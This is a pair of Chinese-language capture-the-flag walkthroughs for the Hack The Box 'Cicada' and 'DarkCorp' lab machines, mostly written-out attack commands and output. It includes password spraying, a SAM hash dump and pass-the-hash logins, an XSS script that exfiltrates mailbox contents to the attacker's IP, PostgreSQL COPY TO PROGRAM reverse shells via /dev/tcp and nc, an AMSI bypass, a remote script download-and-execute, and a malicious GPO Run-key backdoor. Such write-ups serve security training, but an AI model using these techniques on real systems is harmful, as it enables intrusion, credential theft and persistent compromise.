CICADA\Enterprise Key Admins (SidTypeGroup) 553: CICADA\RAS and IAS Servers (SidTypeAlias) 571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias) 572: CICADA\Denied RODC Password Replication Group (SidTypeAlias) 1000: CICADA\CICADA-DC$ (SidTypeUser) 1101: CICADA\DnsAdmins (SidTypeAlias) 1102: CICADA\DnsUpdateProxy (SidTypeGroup) 1103: CICADA\Groups (SidTypeGroup) 1104: CICADA\john.smoulder (SidTypeUser) 1105: CICADA\sarah.dantelia (SidTypeUser) 1106: CICADA\michael.wrightson (SidTypeUser) 1108: CICADA\david.orelious (SidTypeUser) 1109: CICADA\Dev Support (SidTypeGroup) 1601: CICADA\emily.oscars (SidTypeUser)在扫描结果中，我们发现了域内的组、用户以及别名信息，这为我们了解整个域的结构提供了帮助。接下来，我们的目标是提取用户列表。因此，我们会聚焦于所有属于 SidTypeUser 类型的条目。为了避免手动筛选的繁琐操作，我们决定重新执行命令，并附加一些参数：使用 grep 来筛选出仅包含用户信息的行，再通过 sed 去除多余内容，仅保留用户名。最后，我们将提取出的用户名写入一个名为 users.txt 的文件中，方便后续使用。impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txtuser.txt记录如下Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars弱口令我们将使用 crackmapexec 工具。我们会指定包含之前收集到的用户名的文件，并使用默认密码 Cicada$M6Corpb*@Lp#nZp!8。crackmapexec 会对每个用户尝试该密码。crackmapexec smb cicada.htb -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'SMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [-] cicada.htb\Administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\Guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE SMB cicada.htb 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 看起来用户 michael.wrightson 使用了默认密码！通过获取到正确的凭据，我们可以继续深入继续枚举。枚举域用户Michael Wrightson 并没有权限访问其他账户，但我们仍然可以借助他的权限列出机器上的其他用户，看看是否能进一步挖掘到更多有价值的信息。crackmapexec smb cicada.htb -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --usersSMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 SMB cicada.htb 445 CICADA-DC [+] Enumerated domain user(s) SMB cicada.htb 445 CICADA-DC cicada.htb\emily.oscars badpwdcount: 0 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\david.orelious badpwdcount: 0 desc: Just in case I forget my password is aRt$Lp#7t*VQ!3 SMB cicada.htb 445 CICADA-DC cicada.htb\michael.wrightson badpwdcount: 0 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\sarah.dantelia badpwdcount: 1 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\john.smoulder badpwdcount: 1 desc: SMB cicada.htb 445 CICADA-DC cicada.htb\krbtgt badpwdcount: 1 desc: Key Distribution Center Service Account SMB cicada.htb 445 CICADA-DC cicada.htb\Guest badpwdcount: 1 desc: Built-in account for guest access to the computer/domain SMB cicada.htb 445 CICADA-DC cicada.htb\Administrator badpwdcount: 1 desc: Built-in account for administering the computer/domain 我们可以看见david.orelious 将自己的密码 aRt$Lp#7t*VQ!3 这有助于我们进行提权先看看这个用户有什么共享资源crackmapexec smb cicada.htb -u david.orelious -p 'aRt$Lp#7t*VQ!3' --sharesSMB cicada.htb 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False) SMB cicada.htb 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3 SMB cicada.htb 445 CICADA-DC [+] Enumerated shares SMB cicada.htb 445 CICADA-DC Share Permissions Remark SMB cicada.htb 445 CICADA-DC ----- ----------- ------ SMB cicada.htb 445 CICADA-DC ADMIN$ Remote Admin SMB cicada.htb 445 CICADA-DC C$ Default share SMB cicada.htb 445 CICADA-DC DEV READ SMB cicada.htb 445 CICADA-DC HR READ SMB cicada.htb 445 CICADA-DC IPC$ READ Remote IPC SMB cicada.htb 445 CICADA-DC NETLOGON READ Logon server share SMB cicada.htb 445 CICADA-DC SYSVOL READ Logon server share 看起来我们有权访问DEV共享文件夹，让我们看看里面是否有任何有用的信息。使用smbclientsmbclient //cicada.htb/DEV -U 'david.orelious%aRt$Lp#7t*VQ!3'Try "help" to get a list of possible commands. smb: \> dir . D 0 Thu Mar 14 20:31:39 2024 .. D 0 Thu Mar 14 20:21:29 2024 Backup_script.ps1 A 601 Thu Aug 29 01:28:22 2024 4168447 blocks of size 4096. 455745 blocks available smb: \> get Backup_script.ps1 getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)可以看到有个powershell文件，我们把它下载下来┌──(root㉿kali)-[~] └─# cat Backup_script.ps1 $sourceDirectory = "C:\smb" $destinationDirectory = "D:\Backup" $username = "emily.oscars" $password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force $credentials = New-Object System.Management.Automation.PSCredential($username, $password) $dateStamp = Get-Date -Format "yyyyMMdd_HHmmss" $backupFileName = "smb_backup_$dateStamp.zip" $backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"我们可以看到另一组凭据：账号：emily.oscars密码：Q!3@Lp#M6b7tVt !我们想要使用这个凭据尝试获得shell，使用Evil-WinRMevil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i cicada.htbEvil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>成功获得了shell按照惯例，我们应该能在它的桌面看到用户标识文件*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> dir Directory: C:\Users\emily.oscars.CICADA\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/26/2025 11:45 AM 34 user.txt *Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> type user.txt 7d42adee91a231cf82fd1b0db6f12dc9拿到用户flag：7d42adee91a231cf82fd1b0db6f12dc9接下来我们就是尝试提权到root用户获得根目录标识先查看当前权限whoami /privPRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======= SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled我们发现她居然拥有 SeBackupPrivilege 权限，这通常是赋予服务账户或管理员用户的权限。这个权限的设计初衷是为了便于系统备份，因此它可以绕过现有权限机制访问受系统保护的文件。简单来说，我们可以利用这些注册表文件来提取用户的 NTLM 哈希，然后使用管理员账户的哈希值进行认证，从而绕过明文密码的限制。具体来说：SAM（Security Account Manager）注册表配置文件包含本地用户账户和组的成员关系信息，其中也包括用户密码的哈希值；SYSTEM 配置文件中保存了系统范围的配置，例如用于解密 SAM 中密码哈希的系统启动密钥。接下来我们将使用 reg save 命令从注册表中导出这两个配置文件，指定对应的注册表路径，并将其保存为当前目录下的文件，供后续分析使用。reg save hklm\sam sam reg save hklm\system system接着下载这两个文件download sam download system现在我们已经将这些文件保存到本地机器上，可以使用 Impacket 工具包中的 secretsdump 模块来提取用户的 NTLM 哈希。 NTLM 哈希是用户明文密码的加密表示形式。一旦获取这些哈希，我们可以尝试进行破解，或者直接利用它们执行 Pass-the-Hash 攻击，从而在无需明文密码的情况下直接认证登录系统。为了提取哈希，我们需要指定以下参数：-sam：指向 SAM 文件 的路径，其中包含加密的密码数据；-system：指向 SYSTEM 文件 的路径，其中包含用于解密 SAM 文件所需的启动密钥（boot key）；local：表明我们操作的是本地文件，而非远程访问。impacket-secretsdump -sam sam -system system localImpacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up...在输出结果中，我们找到了 Administrator 用户的 NTLM 哈希值：2b87e7c93a3e8a0ea4a581937016f341。 我们可以使用该哈希通过 Evil-WinRM 工具直接登录该账户，方法是将该哈希作为 -H 参数传入进行 Pass-the-Hash 攻击。evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i cicada.htb成功登陆，接下来的事情就很简单了，从桌面拿到root.txt，也就是根用户标识*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 7/26/2025 11:45 AM 34 root.txt *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt 3dd50f0b8cfe331441ee707b710c76e7根用户flag：3dd50f0b8cfe331441ee707b710c76e7
AI摘要：该博客文章详细记录了 HTB 平台上 “DarkCorp” 靶场的渗透测试全过程。DarkCorp 是一道高难度(Insane)的企业内网靶机，模拟了一个拥有邮件系统、用户门户、数据库服务和 Windows 域环境的中大型公司网络。 作者首先利用 Nmap、Gobuster 等工具进行信息收集，发现多个子域与服务。通过邮件劫持和 XSS 注入获取重置链接，控制管理员账号后进一步发起 SQL 注入攻击，成功从 PostgreSQL 数据库中获取凭据，并建立反弹 shell。 在拿下初始主机权限后，作者深入内网，发现 Windows 域控服务，通过 BloodHound 收集权限图谱，再结合 LDAP 爆破与 GPO 权限配置，实现本地管理员权限提升。最终使用工具转储 hash，成功获取域控 SYSTEM 权限。引言Hack The Box 的赛季靶机 DarkCorp，难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战，深入剖析从外部突破到域管理员提权的完整过程。技术点涉及：端口扫描、子域枚举、目录爆破、XSS 漏洞利用（CVE-2024-42008）、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。目标与读者：网络安全爱好者、红队选手，适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。本机ip：10.10.16.2目标ip：10.10.11.54nmap -sC -sV 10.10.11.54先直接访问，发现跳转到了http://drip.htb域名，但无法连接将域名和ip加入hostsecho "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts能访问了，但http://drip.htb里什么都没有（）使用gobuster进行子域名爆破收集gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain使用gobuster进行目录爆破收集gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log将子域名加入hostsecho "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts发现可以sign up可以注册先注册一个账号1：bushsec密码1：123456登陆：没什么收获，我们重新注册一个用户，以root当作账户名账户2：root密码2：123456我们又有了两个收获一是获得两个用户名：ebelford和support。二是可以发现，每隔2分钟，网站会运行一个名为mail_clean.sh的脚本。从About选项卡可以看到邮件系统的信息接下来，我们把目光看向首页的Contact Us使用yakit劫持，将support%40drip.htb改成我们的邮箱地址root%40drip.htb在给support发邮件时，如果yakit中断并将地址改为我们的邮件地址，可以收到求助邮件，并得到 bcase用户名。yakit中断后，发送的原始内容如下。message= Foo &content=html&recipient=bcase@drip.htbbase64编码后如下。name=test&email=test%40test.com&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.16.2%2F%3Fc%3D%27%2Bbtoa%28document.documentElement.innerHTML%29%7D%29%29++foo%3Dbar%22%3E%0D%0A++Foo%0D%0A%3C%2Fbody%3E&content=html&recipient=bcase%40drip.htbcontent=html 暗示服务端将 message` 作为 HTML 内容渲染这是利用漏洞的前提。message= 中直接插入 标签，包含了 HTML 属性注入和 JS 执行：触发点：PHPMailer 在未净化的情况下将 message 作为 HTML 写入邮件内容中HTMX 在处理 HX-Request 请求的响应时，对于 text/html 类型的内容会直接 innerHTML 替换页面部分内容，从而造成 XSS。若 HTMX 的响应中带有 标签，而解析器允许这个 body 的属性触发事件（例如 onanimationstart），就可能造成 非传统的 HTML 属性注入 + JS 执行链。从网上寻找自动化脚本，我们只需要修改ip即可import sys import requests from http.server import BaseHTTPRequestHandler, HTTPServer import base64 import threading from lxml import html # Configuration TARGET_URL = 'http://drip.htb/contact' LISTEN_PORT = 8000 LISTEN_IP = '10.10.16.2' # Payload for the POST request start_mesg = ' r.text()).then(t=>fetch(`http://10.10.16.2:8000/c=${btoa(t)}`)) foo=bar">Foo ' post_data = { 'name': 'asdf', 'email': 'asdf', 'message': f"{start_mesg}{message}{end_mesg}", 'content': 'html', 'recipient': 'bcase@drip.htb' } print(f"{start_mesg}{message}{end_mesg}") # Headers for the POST request headers = { 'Host': 'drip.htb', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'Origin': 'http://drip.htb', 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Referer': 'http://drip.htb/index', 'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.9', 'Cookie': 'session=eyJfZnJlc2giOmZhbHNlfQ.Z6fOBw.u9iWIiki2cUK55mmcizrzU5EJzE', 'Connection': 'close' } # Function to send the POST request def send_post(): response = requests.post(TARGET_URL, data=post_data, headers=headers) print(f"[+] POST Request Sent! Status Code: {response.status_code}") # Custom HTTP request handler to capture and decode the incoming data class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): if '/c=' in self.path: encoded_data = self.path.split('/c=')[1] decoded_data = base64.b64decode(encoded_data).decode('latin-1') print(f"[+] Received data {decoded_data}") tree = html.fromstring(decoded_data) # XPath query to find the div with id 'messagebody' message_body = tree.xpath('//div[@id="messagebody"]') # Check if the div exists and extract the content if message_body: print(f"message_body lengith is:{len(message_body)}") for bd in message_body: # Extract inner text, preserving line breaks #message_text = message_body[0].text_content().strip() message_text = bd.text_content().strip() print("[+] Extracted Message Body Content:\n") print(message_text) else: print("[!] No div with id 'messagebody' found.") else: print("[!] Received request but no data found.") self.send_response(200) self.end_headers() self.wfile.write(b'OK') def log_message(self, format, *args): return # Suppress default logging # Function to start the HTTP server def start_server(): server_address = (LISTEN_IP, LISTEN_PORT) httpd = HTTPServer(server_address, RequestHandler) print(f"[+] Listening on port {LISTEN_PORT} for exfiltrated data...") httpd.serve_forever() # Run the HTTP server in a separate thread server_thread = threading.Thread(target=start_server) server_thread.daemon = True server_thread.start() # Send the POST request send_post() # Keep the main thread alive to continue listening try: while True: pass except KeyboardInterrupt: print("\n[+] Stopping server.")执行python3 1.py 2将uid改为2后，我们得到得到一个新的域名dev-a3f1-01.drip.htb，且邮件说Bryce(也就是bcase用户）登录时需要重置密码。将新域名加入hosts后访问，这个界面有一个Reset Password选项。首先添加hostsecho "10.10.11.54 dev-a3f1-01.drip.htb" | sudo tee -a /etc/hosts 进入控制台进入Login页面后选择Reset Password输入 bcase@drip.htb，点击reset，显示Reset token sent successfully. 发送reset指令后，使用刚才的脚本访问uid=3的邮箱，速度要快。截获到邮箱地址访问重置连接重置密码为123456显示Password successfully changed. 即为重置成功成功登陆控制台搜索框随便输入数字测试数据库发现这是一个postgresql的系统，通过SQL注入，可以获得不少的信息。''; SELECT * FROM pg_ls_dir('/etc/');经过慢慢查找，在/var/www/html/dashboard/.env里查到数据库相关配置。''; SELECT pg_read_file('/var/www/html/dashboard/.env', 0, 10000);# True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = 'support@drip.htb'接着就是获取shell了'';DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.16.2/1234 0>&1"'''; EXECUTE c; END $$;得到shell，并查看自己的权限检查hosts，发现内网机器''; (SELECT password FROM "Users") ''; (SELECT password FROM "Admin")这些hash爆破不出来先查看数据库版本''; SELECT version();尝试查看它的log文件''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log', 0, 10000000);这个日志是空的，看看旧的''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.1', 0, 10000000);依旧毫无所获。但我们通过''; SELECT * FROM pg_ls_dir('/var/log/postgresql/');发现还有很多压缩的日志文件，我们回到shell,对其进行解压缩cd /var/log/postgresql/ gzip -d -k postgresql-15-main.log.2.gz继续查看''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log.2', 0, 10000000);得到ebelford用户的密码hash为8bbd7f88841b4223ae63c8848969be86解密获得密码：ThePlague61780sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no ebelford@drip.htb在/var/backups目录中，我们可以找到数据库用户postgres的备份:ebelford@drip:~$ ls -la /var/backups | grep postgres drwx------ 2 postgres postgres 4096 Feb 5 12:52 postgres我们需要一个PostgreSQL用户。让我们看看Web应用程序ebelford@drip:~$ ls -la /var/www/html/dashboard/ total 36 drwxr-xr-x 5 root root 4096 Jan 16 2025 . drwxr-xr-x 4 root root 4096 Jan 13 2025 .. -rw-r--r-- 1 root root 796 Jan 15 2025 .env drwxr-xr-x 2 root root 4096 Jan 10 2025 __pycache__ lrwxrwxrwx 1 root root 18 Dec 19 2024 app_venv -> /var/www/app_venv/ drwxr-xr-x 7 root root 4096 Jan 10 2025 apps -rw-r--r-- 1 root root 198 Dec 17 2024 gunicorn-cfg.py drwxr-xr-x 2 root root 4096 Jan 10 2025 media -rw-r--r-- 1 root root 330 Dec 17 2024 requirements.txt -rw-r--r-- 1 root root 1037 Dec 19 2024 run.py ebelford@drip:~$ cat /var/www/html/dashboard/.env # True for development, False for production DEBUG=False # Flask ENV FLASK_APP=run.py FLASK_ENV=development # If not provided, a random one is generated # SECRET_KEY=<YOUR_SUPER_KEY_HERE> # Used for CDN (in production) # No Slash at the end ASSETS_ROOT=/static/assets # If DB credentials (if NOT provided, or wrong values SQLite is used) DB_ENGINE=postgresql DB_HOST=localhost DB_NAME=dripmail DB_USERNAME=dripmail_dba DB_PASS=2Qa2SsBkQvsc DB_PORT=5432 SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail' SQLALCHEMY_TRACK_MODIFICATIONS = True SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq' MAIL_SERVER = 'drip.htb' MAIL_PORT = 25 MAIL_USE_TLS = False MAIL_USE_SSL = False MAIL_USERNAME = None MAIL_PASSWORD = None MAIL_DEFAULT_SENDER = 'support@drip.htb' 得到数据库密码是2Qa2SsBkQvsc接着让我们获得这个shell本机执行nc -lnvp 4242ebelford的shell执行psql -h localhost -U dripmail_dba -d dripmailCOPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.2 4242 >/tmp/f';拿到权限首先本机生成密钥对ssh-keygen -t ed25519 -f ~/.ssh/drip_key查看公钥cat ~/.ssh/drip_key.pubpostgres@drip上将自己的公钥echo上去mkdir -p ~/.sshecho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOjO8SJLIkNvr+JMFxdzVJsEyyLZKpH6lxlamKQap42U root@kali" > ~/.ssh/authorized_keys本机ssh连接ssh -i ~/.ssh/drip_key postgres@drip.htb拿下权限看看备份postgres@drip:~$ ls -la /var/backups/postgres/ total 12 drwx------ 2 postgres postgres 4096 Feb 5 12:52 . drwxr-xr-x 3 root root 4096 Feb 11 08:10 .. -rw-r--r-- 1 postgres postgres 1784 Feb 5 12:52 dev-dripmail.old.sql.gpg 让我们尝试使用数据库密码解密旧备份gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback --passphrase '2Qa2SsBkQvsc' --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > /var/backups/postgres/dev-dripmail.old.sql解密成功查看内容cat /var/backups/postgres/dev-dripmail.old.sql拿到密钥1 bcase dc5484871bc95c4eab58032884be7225 bcase@drip.htb 2 victor.r cac1c7b0e7008d67b6db40c03e76b9c0 victor.r@drip.htb 3 ebelford 8bbd7f88841b4223ae63c8848969be86 ebelford@drip.htb得到新的账号密码账号：victor.r密码：victor1gustavo@#现在我们应该扫描内部网络以查找主机和开放端口让我们使用sshuttle进行转发:sshuttle -r ebelford:'ThePlague61780'@drip.htb -N 172.16.20.0/24别忘了hostsecho "172.16.20.1 DC-01 DC-01.darkcorp.htb darkcorp.htb" | sudo tee -a /etc/hosts echo "172.16.20.3 drip.darkcorp.htb" | sudo tee -a /etc/hosts转发完成后，我们ping一下试试通了，接下来我们nmapnmap -sCTV -Pn -vvv 172.16.20.2发现了80，5000两个端口，我们访问一下这两个界面但端口80是空的，但端口5000有基本认证，我们可以使用Victor的凭据登录:别忘了hosts添加echo "172.16.20.2 WEB-01 WEB-01.darkcorp.htb" | sudo tee -a /etc/hosts让我们部分使用proxychains4并将域名导出到Bloodhound:sshpass -p'ThePlague61780' ssh -o StrictHostKeyChecking=no -D 1080 ebelford@drip.htbsudo apt install proxychains4sudo vim /etc/proxychains4.conf增加dnat 10.10.11.54 172.16.20.1 [ProxyList] socks5 127.0.0.1 1080本机执行proxychains4 bloodhound-python -u victor.r@darkcorp.htb -p 'victor1gustavo@#' -dc dc-01.darkcorp.htb --dns-tcp -ns 172.16.20.1 --dns-timeout 10 -c ALL -d darkcorp.htb --zip收集成功！！！Normal waysudo impacket-ntlmrelayx -t ldaps://172.16.20.1 -debug -i -smb2support我一直未能成功常规途径，应该是先取得172.16.20.2这个网站的仅限，利用ntlmrelayx攻击取得该机的系统权限，可是在我的机器上一直没有成功。那么只能用爆破了hydra -l taylor.b.adm -P /usr/share/wordlists/rockyou.txt -o test.log -vV ldap3://172.16.20.1取得taylor.b.adm的密码!QAZzaq1。绕过AMSI（反恶意软件扫描接口）$a = [Ref].Assembly.GetTypes() | ?{$_.Name -like '*siUtils'};$b = $a.GetFields('NonPublic,Static') | ?{$_.Name -like '*siContext'};[IntPtr]$c =$b.GetValue($null);[Int32[]]$d = @(0xff);[System.Runtime.InteropServices.Marshal]::Copy($d, 0, $c, 1)本机启动服务器，要有PowerGPOAbuse.ps1的目录下启动下载PowerGPOAbuse脚本iex(New-Object Net.WebClient).DownloadString('http://10.10.16.2:8090/PowerGPOAbuse.ps1')将用户添加到GPO组Add-GPOGroupMember -Member 'taylor.b.adm' -GPOIdentity 'SecurityUpdates'设置恶意注册表项Set-GPRegistryValue -Name "SecurityUpdates" -key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "backdoor" -Type String -Value "powershell -ExecutionPolicy Bypass -NoProfile -Command `"Add-LocalGroupMember -Group 'Administrators' -Member taylor.b.adm`""强制更新策略gpupdate /force确认权限net localgroup administrators本机执行impacket-secretsdump 'darkcorp.htb/taylor.b.adm:!QAZzaq1@172.16.20.1'拿到hashevil-winrm -i 172.16.20.1 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0froot.txt不得不说，HTB疯狂难度的是真的累（（（